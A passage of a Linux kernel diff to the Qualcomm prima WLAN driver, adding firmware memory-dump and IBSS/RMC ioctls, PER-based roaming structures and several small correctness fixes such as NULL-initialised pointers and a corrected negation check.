hddLog(VOS_TRACE_LEVEL_ERROR, "set Keep: TP before SME %d", keepaliveRequest.timePeriod); + hddLog(VOS_TRACE_LEVEL_INFO, "set Keep: TP before SME %d", + keepaliveRequest.timePeriod); if (eHAL_STATUS_SUCCESS != sme_SetKeepAlive(WLAN_HDD_GET_HAL_CTX(pAdapter), pAdapter->sessionId, &keepaliveRequest)) @@ -8495,6 +8972,12 @@ int wlan_hdd_set_filter(hdd_context_t *pHddCtx, tpPacketFilterCfg pRequest, __func__ ); return 0; } + if (pHddCtx->isLogpInProgress) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s:LOGP in Progress. Ignore!!!", __func__); + return -EBUSY; + } /* Debug display of request components. */ hddLog(VOS_TRACE_LEVEL_ERROR, "%s: Packet Filter Request : FA %d params %d", __func__, pRequest->filterAction, pRequest->numParams); @@ -9887,6 +10370,32 @@ static int iw_set_band_config(struct net_device *dev, return ret; } +static int get_fwr_memdump(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); + int ret; + ENTER(); + // HddCtx sanity + ret = wlan_hdd_validate_context(pHddCtx); + if (0 != ret) + { + return ret; + } + if( !pHddCtx->cfg_ini->enableFwrMemDump || + (FALSE == sme_IsFeatureSupportedByFW(MEMORY_DUMP_SUPPORTED))) + { + hddLog(VOS_TRACE_LEVEL_INFO, FL("FW dump Logging not supported")); + return -EINVAL; + } + ret = wlan_hdd_fw_mem_dump_req(pHddCtx); + + EXIT(); + return ret; +} + static int __iw_set_power_params_priv(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) @@ -10154,7 +10663,7 @@ int iw_set_tdlsoffchannelmode(hdd_adapter_t *pAdapter, int offchanmode) hddTdlsPeer_t *connPeer = NULL; hdd_station_ctx_t *pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); - + tSirMacAddr peerMac; if (offchanmode < 0 || offchanmode > 4) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, @@ -10183,6 +10692,7 @@ int iw_set_tdlsoffchannelmode(hdd_adapter_t *pAdapter, int offchanmode) "%s: No TDLS Connected Peer", __func__); return -1; } + vos_mem_copy(peerMac, connPeer->peerMac, sizeof(tSirMacAddr)); mutex_unlock(&pHddCtx->tdls_lock); } else @@ -10208,7 +10718,7 @@ int iw_set_tdlsoffchannelmode(hdd_adapter_t *pAdapter, int offchanmode) { sme_SendTdlsChanSwitchReq(WLAN_HDD_GET_HAL_CTX(pAdapter), - pAdapter->sessionId, connPeer->peerMac, + pAdapter->sessionId, peerMac, tdlsOffCh, tdlsOffChBwOffset, offchanmode); } @@ -10482,7 +10992,9 @@ static const struct iw_priv_args we_private_args[] = { { WE_SET_RTS_CTS_HTVHT, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "setRtsCtsHtVht" }, - + { WE_SET_PKT_STATS_ENABLE_DISABLE, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, + 0, "setPktStats" }, { WE_SET_PROXIMITY_ENABLE, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "setProximity" }, @@ -10538,6 +11050,11 @@ static const struct iw_priv_args we_private_args[] = { IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, "get_scan_pref"}, + { WE_GET_ANTENA_DIVERSITY_SELECTION, + 0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, + "getCurAnt"}, + /* handlers for main ioctl */ { WLAN_PRIV_SET_CHAR_GET_NONE, IW_PRIV_TYPE_CHAR| 512, @@ -10657,12 +11174,25 @@ static const struct iw_priv_args we_private_args[] = { 0, IW_PRIV_TYPE_CHAR| WE_MAX_STR_LEN, "getPMFInfo" }, +#endif +#ifdef WLAN_FEATURE_RMC + { + WE_GET_IBSS_STA_INFO, + 0, + IW_PRIV_TYPE_CHAR| WE_MAX_STR_LEN, + "getIbssSTAs" }, #endif { WE_GET_SNR, 0, IW_PRIV_TYPE_CHAR| WE_MAX_STR_LEN, "getSNR" }, - +#ifdef FEATURE_OEM_DATA_SUPPORT + { + WE_GET_OEM_DATA_CAP, + 0, + IW_PRIV_TYPE_CHAR| WE_MAX_STR_LEN, + "getOemDataCap" }, +#endif /* FEATURE_OEM_DATA_SUPPORT */ /* handlers for main ioctl */ { WLAN_PRIV_SET_NONE_GET_NONE, 0, @@ -10678,6 +11208,13 @@ static const struct iw_priv_args we_private_args[] = { 0, 0, "initAP" }, +#ifdef WLAN_FEATURE_RMC + { + WE_IBSS_GET_PEER_INFO_ALL, + 0, + 0, + "ibssPeerInfoAll" }, +#endif { WE_STOP_AP, 0, 0, @@ -10729,6 +11266,11 @@ static const struct iw_priv_args we_private_args[] = { 0, 0, "getFwLogs" }, + { + WE_GET_FW_MEMDUMP, + 0, + 0, + "getFwMemDump" }, /* handlers for main ioctl */ { WLAN_PRIV_SET_VAR_INT_GET_NONE, IW_PRIV_TYPE_INT | MAX_VAR_ARGS, @@ -10742,6 +11284,12 @@ static const struct iw_priv_args we_private_args[] = { IW_PRIV_TYPE_INT | MAX_VAR_ARGS, 0, "dump" }, +#ifdef WLAN_FEATURE_RMC + { WE_IBSS_GET_PEER_INFO, + IW_PRIV_TYPE_INT | MAX_VAR_ARGS, + 0, + "ibssPeerInfo" }, +#endif /* handlers for sub-ioctl */ { WE_MTRACE_SELECTIVE_MODULE_LOG_ENABLE_CMD, @@ -10838,7 +11386,8 @@ static const struct iw_priv_args we_private_args[] = { { WLAN_SET_KEEPALIVE_PARAMS, - IW_PRIV_TYPE_BYTE | sizeof(tKeepAliveRequest), + IW_PRIV_TYPE_BYTE | sizeof(tKeepAliveRequest) | + IW_PRIV_SIZE_FIXED, 0, "setKeepAlive" }, #ifdef WLAN_FEATURE_PACKET_FILTERING diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wmm.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wmm.c index 14e93c4af6847..b6d5c21409021 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wmm.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_wmm.c @@ -357,7 +357,7 @@ static void hdd_wmm_disable_tl_uapsd (hdd_wmm_qos_context_t* pQosContext) static void hdd_wmm_free_context (hdd_wmm_qos_context_t* pQosContext) { v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; if (NULL == pVosContext) { @@ -420,7 +420,7 @@ static void hdd_wmm_notify_app (hdd_wmm_qos_context_t* pQosContext) union iwreq_data wrqu; char buf[MAX_NOTIFY_LEN+1]; v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; if (NULL == pVosContext) { @@ -550,7 +550,7 @@ void hdd_wmm_inactivity_timer_cb( v_PVOID_t pUserData ) v_U32_t currentTrafficCnt = 0; WLANTL_ACEnumType acType = 0; v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; ENTER(); if (NULL == pVosContext) @@ -734,7 +734,7 @@ static eHalStatus hdd_wmm_sme_callback (tHalHandle hHal, hdd_wmm_ac_status_t *pAc; VOS_STATUS status; v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; if (NULL == pVosContext) { @@ -986,7 +986,7 @@ static eHalStatus hdd_wmm_sme_callback (tHalHandle hHal, VOS_TRACE( VOS_MODULE_ID_HDD, WMM_TRACE_LEVEL_ERROR, "%s: Setup failed, not a QoS AP", __func__); - if (!HDD_WMM_HANDLE_IMPLICIT == pQosContext->handle) + if (HDD_WMM_HANDLE_IMPLICIT != pQosContext->handle) { VOS_TRACE(VOS_MODULE_ID_HDD, WMM_TRACE_LEVEL_INFO, "%s: Explicit Qos, notifying userspace", @@ -1429,7 +1429,7 @@ static void __hdd_wmm_do_implicit_qos(struct work_struct *work) #endif sme_QosWmmTspecInfo qosInfo; v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; int ret = 0; if (NULL == pVosContext) @@ -1796,7 +1796,7 @@ VOS_STATUS hdd_wmm_adapter_close ( hdd_adapter_t* pAdapter ) { hdd_wmm_qos_context_t* pQosContext; v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; if (NULL == pVosContext) { @@ -2738,7 +2738,7 @@ hdd_wlan_wmm_status_e hdd_wmm_addts( hdd_adapter_t* pAdapter, #endif v_BOOL_t found = VOS_FALSE; v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; if (NULL == pVosContext) { @@ -2937,7 +2937,7 @@ hdd_wlan_wmm_status_e hdd_wmm_delts( hdd_adapter_t* pAdapter, sme_QosStatusType smeStatus; #endif v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; if (NULL == pVosContext) { @@ -3062,7 +3062,7 @@ hdd_wlan_wmm_status_e hdd_wmm_checkts( hdd_adapter_t* pAdapter, hdd_wmm_qos_context_t *pQosContext; hdd_wlan_wmm_status_e status = HDD_WLAN_WMM_STATUS_LOST; v_CONTEXT_t pVosContext = vos_get_global_context( VOS_MODULE_ID_HDD, NULL ); - hdd_context_t *pHddCtx; + hdd_context_t *pHddCtx = NULL; if (NULL == pVosContext) { diff --git a/drivers/staging/prima/CORE/MAC/inc/aniGlobal.h b/drivers/staging/prima/CORE/MAC/inc/aniGlobal.h index be90e1fdd3fc6..1d50dbfa1b241 100644 --- a/drivers/staging/prima/CORE/MAC/inc/aniGlobal.h +++ b/drivers/staging/prima/CORE/MAC/inc/aniGlobal.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -92,6 +92,8 @@ typedef struct sAniSirGlobal *tpAniSirGlobal; #endif #include "p2p_Api.h" +#include "limRMC.h" + #if defined WLAN_FEATURE_VOWIFI_11R #include #endif @@ -253,6 +255,11 @@ typedef struct { void *pMlmDeauthReq; }tLimDisassocDeauthCnfReq; +typedef struct { + tANI_U32 failed_count[MAX_TIDS]; + v_TIME_t failed_timestamp[MAX_TIDS]; +} tLimStaBAInfo; + typedef struct sAniSirLim { ////////////////////////////////////// TIMER RELATED START /////////////////////////////////////////// @@ -906,6 +913,7 @@ tLimMlmOemDataRsp *gpLimMlmOemDataRsp; tANI_U32 remOnChnSeqNum; tANI_U32 txBdToken; tANI_U32 EnableTdls2040BSSCoexIE; + tLimStaBAInfo staBaInfo[WLAN_MAX_STA_COUNT]; } tAniSirLim, *tpAniSirLim; typedef struct sLimMgmtFrameRegistration @@ -1049,6 +1057,9 @@ typedef struct sAniSirGlobal v_BOOL_t isTdlsPowerSaveProhibited; #endif tANI_U8 fScanOffload; +#ifdef WLAN_FEATURE_RMC + tLimRmcContext rmcContext; +#endif /* WLAN_FEATURE_RMC */ tANI_U8 isCoalesingInIBSSAllowed; tANI_U32 fEnableDebugLog; tANI_U32 fDeferIMPSTime; @@ -1068,6 +1079,13 @@ typedef struct sAniSirGlobal v_BOOL_t fActiveScanOnDFSChannels; tAuthAckStatus authAckStatus; sir_mgmt_frame_ind_callback mgmt_frame_ind_cb; +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + v_U8_t PERroamCandidatesCnt; + tSirCandidateChanInfo candidateChannelInfo[SIR_PER_ROAM_MAX_CANDIDATE_CNT]; + tSirRoamAPInfo previousRoamApInfo[SIR_PER_ROAM_MAX_CANDIDATE_CNT]; + v_U32_t PERroamTimeout; + v_U32_t currentBssScore; +#endif } tAniSirGlobal; #ifdef FEATURE_WLAN_TDLS diff --git a/drivers/staging/prima/CORE/MAC/inc/macTrace.h b/drivers/staging/prima/CORE/MAC/inc/macTrace.h index 2ee4c7fc02cb6..a1c99d31a14c1 100644 --- a/drivers/staging/prima/CORE/MAC/inc/macTrace.h +++ b/drivers/staging/prima/CORE/MAC/inc/macTrace.h @@ -43,9 +43,6 @@ #include "aniGlobal.h" - -#ifdef TRACE_RECORD - #define MAC_TRACE_GET_MODULE_ID(data) ((data >> 8) & 0xff) #define MAC_TRACE_GET_MSG_ID(data) (data & 0xffff) @@ -80,5 +77,3 @@ tANI_U8* macTraceGetTLState(tANI_U16 tlState); #endif -#endif - diff --git a/drivers/staging/prima/CORE/MAC/inc/qwlan_version.h b/drivers/staging/prima/CORE/MAC/inc/qwlan_version.h index f21d131c8f790..d49b49462d91c 100644 --- a/drivers/staging/prima/CORE/MAC/inc/qwlan_version.h +++ b/drivers/staging/prima/CORE/MAC/inc/qwlan_version.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -41,11 +41,11 @@ BRIEF DESCRIPTION: #define QWLAN_VERSION_MAJOR 3 #define QWLAN_VERSION_MINOR 0 -#define QWLAN_VERSION_PATCH 10 +#define QWLAN_VERSION_PATCH 11 #define QWLAN_VERSION_EXTRA "" -#define QWLAN_VERSION_BUILD 85 +#define QWLAN_VERSION_BUILD 66 -#define QWLAN_VERSIONSTR "3.0.10.085" +#define QWLAN_VERSIONSTR "3.0.11.66" #endif /* QWLAN_VERSION_H */ diff --git a/drivers/staging/prima/CORE/MAC/inc/sirApi.h b/drivers/staging/prima/CORE/MAC/inc/sirApi.h index 2f2ae30403612..08f6c2253d7d4 100644 --- a/drivers/staging/prima/CORE/MAC/inc/sirApi.h +++ b/drivers/staging/prima/CORE/MAC/inc/sirApi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -142,8 +142,8 @@ typedef tANI_U8 tSirVersionString[SIR_VERSION_STRING_LEN]; #define WLAN_EXTSCAN_MAX_CHANNELS 16 #define WLAN_EXTSCAN_MAX_BUCKETS 16 #define WLAN_EXTSCAN_MAX_HOTLIST_APS 128 -#define WLAN_EXTSCAN_MAX_SIGNIFICANT_CHANGE_APS 64 #define WLAN_EXTSCAN_MAX_RSSI_SAMPLE_SIZE 8 +#define WLAN_EXTSCAN_MAX_HOTLIST_SSIDS 8 #endif /* WLAN_FEATURE_EXTSCAN */ #define WLAN_DISA_MAX_PAYLOAD_SIZE 1600 @@ -710,7 +710,7 @@ typedef struct sSirBssDescription //used only in scan case. tANI_U8 channelIdSelf; tANI_U8 sSirBssDescriptionRsvd[3]; - tANI_TIMESTAMP nReceivedTime; //base on a tick count. It is a time stamp, not a relative time. + v_TIME_t nReceivedTime; //base on a tick count. It is a time stamp, not a relative time. #if defined WLAN_FEATURE_VOWIFI tANI_U32 parentTSF; tANI_U32 startTSF[2]; @@ -719,11 +719,11 @@ typedef struct sSirBssDescription tANI_U8 mdiePresent; tANI_U8 mdie[SIR_MDIE_SIZE]; // MDIE for 11r, picked from the beacons #endif -#ifdef FEATURE_WLAN_ESE - tANI_U16 QBSSLoad_present; - tANI_U16 QBSSLoad_avail; +#if defined(FEATURE_WLAN_ESE) || defined(WLAN_FEATURE_ROAM_SCAN_OFFLOAD) + tANI_U8 QBSSLoad_present; + tANI_U8 QBSS_ChanLoad; + tANI_U16 QBSSLoad_avail; #endif - // Please keep the structure 4 bytes aligned above the ieFields tANI_U8 fProbeRsp; //whether it is from a probe rsp tANI_U8 reservedPadding1; @@ -731,9 +731,14 @@ typedef struct sSirBssDescription tANI_U8 reservedPadding3; tANI_U32 WscIeLen; tANI_U8 WscIeProbeRsp[WSCIE_PROBE_RSP_LEN]; - tANI_U8 reservedPadding4; - + tANI_U8 HTCapsPresent; + tANI_U8 vhtCapsPresent; + tANI_U8 wmeInfoPresent; + tANI_U8 beacomformingCapable; + tANI_U8 chanWidth; + /* Please keep the structure 4 bytes aligned above the ieFields */ tANI_U32 ieFields[1]; + } tSirBssDescription, *tpSirBssDescription; /// Definition for response message to previously @@ -852,8 +857,8 @@ typedef struct sSirSmeScanReq * Values of 0xC0, 0x80 & 0x40 are to be used by * Roaming/application when 11d is enabled. */ - tANI_U32 minChannelTimeBtc; //in units of milliseconds - tANI_U32 maxChannelTimeBtc; //in units of milliseconds + tANI_U32 min_chntime_btc_esco; //in units of milliseconds + tANI_U32 max_chntime_btc_esco; //in units of milliseconds tANI_U8 returnAfterFirstMatch; /** @@ -1041,6 +1046,7 @@ typedef struct sSirSmeJoinReq tANI_U8 dot11mode; // to support BT-AMP tVOS_CON_MODE staPersona; //Persona tANI_BOOLEAN bOSENAssociation; //HS2.0 + tANI_BOOLEAN bWPSAssociation; //WPS ePhyChanBondState cbMode; // Pass CB mode value in Join. /*This contains the UAPSD Flag for all 4 AC @@ -1201,6 +1207,7 @@ typedef struct sSirSmeAssocInd tANI_U8* beaconPtr; tANI_U32 assocReqLength; tANI_U8* assocReqPtr; + uint32_t rate_flags; } tSirSmeAssocInd, *tpSirSmeAssocInd; @@ -1617,6 +1624,7 @@ typedef struct sSirSmeDisassocInd tSirMacAddr peerMacAddr; tAniStaStatStruct perStaStats; // STA stats tANI_U16 staId; + tANI_U16 assocId; tANI_U32 reasonCode; } tSirSmeDisassocInd, *tpSirSmeDisassocInd; @@ -1629,6 +1637,7 @@ typedef struct sSirSmeDisassocCnf tSirResultCodes statusCode; tSirMacAddr bssId; tSirMacAddr peerMacAddr; + tANI_U16 assocId; } tSirSmeDisassocCnf, *tpSirSmeDisassocCnf; /// Definition for Deauthetication request @@ -1666,6 +1675,7 @@ typedef struct sSirSmeDeauthInd tSirMacAddr peerMacAddr; tANI_U16 staId; + tANI_U16 assocId; tANI_U32 reasonCode; } tSirSmeDeauthInd, *tpSirSmeDeauthInd; @@ -1678,8 +1688,18 @@ typedef struct sSirSmeDeauthCnf tSirResultCodes statusCode; tSirMacAddr bssId; // AP BSSID tSirMacAddr peerMacAddr; + tANI_U16 assocId; } tSirSmeDeauthCnf, *tpSirSmeDeauthCnf; +typedef struct sSirSmeDisConDoneInd +{ + tANI_U16 messageType; + tANI_U16 length; + tANI_U8 sessionId; + tSirResultCodes reasonCode; + tSirMacAddr peerMacAddr; +}tSirSmeDisConDoneInd, *tpSirSmeDisConDoneInd; + /// Definition for stop BSS request message typedef struct sSirSmeStopBssReq { @@ -2114,7 +2134,8 @@ typedef enum PE_GLOBAL_CLASS_B_STATS_INFO = 0x00000004, PE_GLOBAL_CLASS_C_STATS_INFO = 0x00000008, PE_GLOBAL_CLASS_D_STATS_INFO = 0x00000010, - PE_PER_STA_STATS_INFO = 0x00000020 + PE_PER_STA_STATS_INFO = 0x00000020, + PE_PER_TX_PKT_STATS_INFO = 0x00000040, }ePEStatsMask; /* @@ -2296,6 +2317,16 @@ typedef struct sAniDHCPStopInd } tAniDHCPInd, *tpAniDHCPInd; +#ifdef WLAN_FEATURE_RMC +typedef struct sAniTXFailMonitorInd +{ + tANI_U16 msgType; // message type is same as the request type + tANI_U16 msgLen; // length of the entire request + tANI_U8 tx_fail_count; + void *txFailIndCallback; +} tAniTXFailMonitorInd, *tpAniTXFailMonitorInd; +#endif /* WLAN_FEATURE_RMC */ + typedef struct sAniSummaryStatsInfo { tANI_U32 retry_cnt[4]; //Total number of packets(per AC) that were successfully transmitted with retries @@ -2427,6 +2458,13 @@ typedef struct sAniPerStaStatsInfo }tAniPerStaStatsInfo, *tpAniPerStaStatsInfo; +typedef struct sAniPerTxPktStatsInfo +{ + tANI_U32 lastTxRate; // 802.11 data rate at which the last data frame is transmitted. + tANI_U32 txAvgRetry; // Average number of retries per 10 packets. +}tAniPerTxPktStatsInfo, *tpAniPerTxPktStatsInfo; + + /**********************PE Statistics end*************************/ @@ -3729,8 +3767,25 @@ typedef struct sSirWlanSetRxpFilters tANI_U8 setMcstBcstFilter; }tSirWlanSetRxpFilters,*tpSirWlanSetRxpFilters; -typedef void(*FWLoggingInitReqCb)(void *fwlogInitCbContext, VOS_STATUS status); +typedef struct +{ + //FW mail box address + uint64 logMailBoxAddr; + tANI_U32 status; + //Logging mail box version + tANI_U8 logMailBoxVer; + //Qshrink is enabled + tANI_U8 logCompressEnabled; + /* used to tell fwr mem dump size */ + tANI_U32 fw_mem_dump_max_size; + //Reserved for future purpose + tANI_U32 reserved1; + tANI_U32 reserved2; +}tAniLoggingInitRsp, *tpAniLoggingInitRsp; + +typedef void(*FWLoggingInitReqCb)(void *fwlogInitCbContext, tAniLoggingInitRsp *pRsp); typedef void ( *tGetFrameLogCallback) (void *pContext); +typedef void(*RssiMonitorReqCb)(void *rssiMonitorCbContext, VOS_STATUS status); typedef struct sAniGetFrameLogReq { @@ -3767,6 +3822,48 @@ typedef struct sSirFWLoggingInitParam void *fwlogInitCbContext; }tSirFWLoggingInitParam,*tpSirFWLoggingInitParam; +/** + * struct sir_allowed_action_frames - Parameters to set Allowed action frames + * @bitmask: Bits to convey the allowed action frames + * @reserved: For future use + */ +struct sir_allowed_action_frames { + uint32_t bitmask; + uint32_t reserved; +}; + +/* + * struct rssi_monitor_req - rssi monitoring + * @request_id: request id + * @session_id: session id + * @min_rssi: minimum rssi + * @max_rssi: maximum rssi + * @control: flag to indicate start or stop + */ +typedef struct sSirRssiMonitorReq +{ + tANI_U32 requestId; + tANI_U32 sessionId; + tANI_S8 minRssi; + tANI_S8 maxRssi; + tANI_U8 currentBssId[6]; + RssiMonitorReqCb rssiMonitorCallback; + void *rssiMonitorCbContext; +}tSirRssiMonitorReq, *tpSirRssiMonitorReq; + + +/** + * struct rssi_breach_event - rssi breached event structure + * @request_id: request id + * @curr_rssi: current rssi + * @curr_bssid: current bssid + */ +struct rssi_breach_event { + tANI_U32 request_id; + v_MACADDR_t curr_bssid; + tANI_S8 curr_rssi; +}; + typedef struct sSirFatalEventLogsReqParam { tANI_U32 reason_code; @@ -3879,6 +3976,35 @@ typedef struct #endif //FEATURE_WLAN_SCAN_PNO #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +#define SIR_PER_ROAM_MAX_AP_CNT 20 +#define SIR_PER_ROAM_MAX_CANDIDATE_CNT 32 +typedef struct __attribute__((packed)) +{ + tANI_U8 channelNumber; + tANI_U8 channelCCA; + tANI_U8 otherApCount; + tANI_S8 otherApRssi[SIR_PER_ROAM_MAX_AP_CNT]; +} tSirCandidateChanInfo, * tpSirCandidateChanInfo; + +typedef struct sPERRoamScanStart +{ + tANI_U16 msgType; + tANI_U16 msgLen; + tANI_U8 start; +} tPERRoamScanStart, *tpPERRoamScanStart; + +typedef struct sSirRoamAPInfo +{ + tSirMacAddr bssAddr; + unsigned int timeStamp; +} tSirRoamAPInfo, *tpSirRoamAPInfo; + +typedef struct __attribute__((packed)) +{ + tANI_U32 candidateCount; + tSirCandidateChanInfo channelInfo[SIR_PER_ROAM_MAX_CANDIDATE_CNT]; +} tSirPerRoamScanResult, * tpSirPerRoamScanResult; + typedef struct { tSirMacSSid ssId; @@ -3924,6 +4050,36 @@ typedef struct sSirRoamOffloadScanReq tSirRoamNetworkType ConnectedNetwork; tSirMobilityDomainInfo MDID; } tSirRoamOffloadScanReq, *tpSirRoamOffloadScanReq; + +/** + * struct sSirPERRoamOffloadScanReq - Offload PER config params + * @sessionId: session id + * @rateUpThreshold: rate at which to stop monitoring the rate + * @rateDownThreshold: rate at which to start monitoring + * @isPERRoamCCAEnabled: CCA sensing is enabled or disabled + * @waitPeriodForNextPERScan: time to wait before start monitoring again once a + * scan has been triggered + * @PERtimerThreshold: time to collect stats to trigger roam scan + * @PERroamTriggerPercent: minimum percentage of packets needs to be below + * rateDownThreshold to trigger a roam scan + */ +typedef struct sSirPERRoamOffloadScanReq +{ + tANI_U16 sessionId; + tANI_U16 rateUpThreshold; + tANI_U16 rateDownThreshold; + tANI_U16 isPERRoamCCAEnabled; + tANI_U32 waitPeriodForNextPERScan; + tANI_U32 PERtimerThreshold; + tANI_U32 PERroamTriggerPercent; + tANI_S16 PERRoamFullScanThreshold; +} tSirPERRoamOffloadScanReq, *tpSirPERRoamOffloadScanReq; + +typedef struct sSirPERRoamTriggerScanReq +{ + tANI_BOOLEAN roamScanReq; +} tSirPERRoamTriggerScanReq, *tpSirPERRoamTriggerScanReq; + #endif //WLAN_FEATURE_ROAM_SCAN_OFFLOAD #define SIR_NOCHANGE_POWER_VALUE 0xFFFFFFFF @@ -4255,6 +4411,7 @@ typedef struct tANI_U16 transactionId; // Transaction ID for cmd tSirResultCodes statusCode; tSirMacAddr peerMac; + tANI_U16 sta_idx; }tSirTdlsLinkEstablishReqRsp, *tpSirTdlsLinkEstablishReqRsp; /* TDLS Request struct SME-->PE */ @@ -4325,6 +4482,7 @@ typedef struct tANI_U16 transactionId; // Transaction ID for cmd tSirResultCodes statusCode; tSirMacAddr peerMac; + tANI_U16 sta_idx; }tSirTdlsChanSwitchReqRsp, *tpSirTdlsChanSwitchReqRsp; #endif /* FEATURE_WLAN_TDLS */ @@ -4333,6 +4491,7 @@ typedef struct sSirActiveModeSetBcnFilterReq tANI_U16 messageType; tANI_U16 length; tANI_U8 seesionId; + tSirMacAddr bssid; } tSirSetActiveModeSetBncFilterReq, *tpSirSetActiveModeSetBncFilterReq; typedef enum @@ -4346,6 +4505,7 @@ typedef struct sSirSmeHT40StopOBSSScanInd tANI_U16 messageType; tANI_U16 length; tANI_U8 seesionId; + tSirMacAddr bssid; } tSirSmeHT40OBSSStopScanInd, *tpSirSmeHT40OBSSStopScanInd; typedef struct sSirSmeHT40OBSSScanInd @@ -4408,6 +4568,9 @@ typedef struct sAniHandoffReq tANI_U8 sessionId; tANI_U8 bssid[WNI_CFG_BSSID_LEN]; tANI_U8 channel; +#ifndef QCA_WIFI_ISOC + tANI_U8 handoff_src; +#endif } tAniHandoffReq, *tpAniHandoffReq; typedef struct sSirScanOffloadReq { @@ -4599,10 +4762,10 @@ typedef struct sSirRateUpdateInd * 0 implies MCAST RA, positive value implies fixed rate, * -1 implies ignore this param */ - tANI_S32 reliableMcastDataRate;//unit Mbpsx10 + tANI_S32 rmcDataRate;//unit Mbpsx10 /* TX flag to differentiate between HT20, HT40 etc */ - tTxrateinfoflags reliableMcastDataRateTxFlag; + tTxrateinfoflags rmcDataRateTxFlag; /* * MCAST(or BCAST) fixed data rate in 2.4 GHz, unit Mbpsx10, @@ -4624,6 +4787,102 @@ typedef struct sSirRateUpdateInd } tSirRateUpdateInd, *tpSirRateUpdateInd; +#ifdef WLAN_FEATURE_RMC + +#define SIR_RMC_NUM_MAX_RULERS 8 /* HAL_NUM_MAX_RULERS */ +typedef struct sSirSetRMCReq +{ + tANI_U16 msgType; + tANI_U16 msgLen; + tSirMacAddr mcastTransmitter; +} tSirSetRMCReq, *tpSirSetRMCReq; + +typedef struct sSirRMCInfo +{ + tANI_U32 dialogToken; + tANI_U8 action; + tSirMacAddr mcastRuler; +} tSirRMCInfo, *tpSirRMCInfo; + +typedef struct sSirRmcRulerSelectInd +{ + tANI_U16 status; + tSirMacAddr mcastTransmitter; + tSirMacAddr mcastGroup; + tSirMacAddr ruler[SIR_RMC_NUM_MAX_RULERS]; +} tSirRmcRulerSelectInd, *tpSirRmcRulerSelectInd; + +typedef struct sSirRmcBecomeRulerInd +{ + tANI_U16 status; + tSirMacAddr mcastTransmitter; + tSirMacAddr mcastGroup; +} tSirRmcBecomeRulerInd, *tpSirRmcBecomeRulerInd; + +typedef struct sSirRmcRulerReq +{ + // Common for all types are requests + tANI_U16 msgType; // message type is same as the request type + tANI_U16 msgLen; // length of the entire request + tANI_U8 cmd; // tRulerReqCmdType + tSirMacAddr mcastTransmitter; + tSirMacAddr mcastGroup; + tSirMacAddr blacklist[SIR_RMC_NUM_MAX_RULERS]; +} tSirRmcRulerReq, *tpSirRmcRulerReq; + +typedef struct sSirRmcUpdateInd +{ + // Common for all types are requests + tANI_U16 msgType; // message type is same as the request type + tANI_U16 msgLen; // length of the entire request + tANI_U8 indication; // trulerUpdateIndType + tANI_U8 role; // tRoleType + tSirMacAddr mcastTransmitter; + tSirMacAddr mcastGroup; + tSirMacAddr mcastRuler; + tSirMacAddr ruler[SIR_RMC_NUM_MAX_RULERS]; +} tSirRmcUpdateInd, *tpSirRmcUpdateInd; + +/*--------------------------------------------------------------------------- +* tSirIbssGetPeerInfoReqParams +*--------------------------------------------------------------------------*/ +typedef struct +{ + tANI_BOOLEAN allPeerInfoReqd; // If set, all IBSS peers stats are reported + tANI_U8 staIdx; // If allPeerInfoReqd is not set, only stats + // of peer with staIdx is reported +}tSirIbssGetPeerInfoReqParams, *tpSirIbssGetPeerInfoReqParams; + +/*--------------------------------------------------------------------------- +* tSirIbssGetPeerInfoParams +*--------------------------------------------------------------------------*/ +typedef 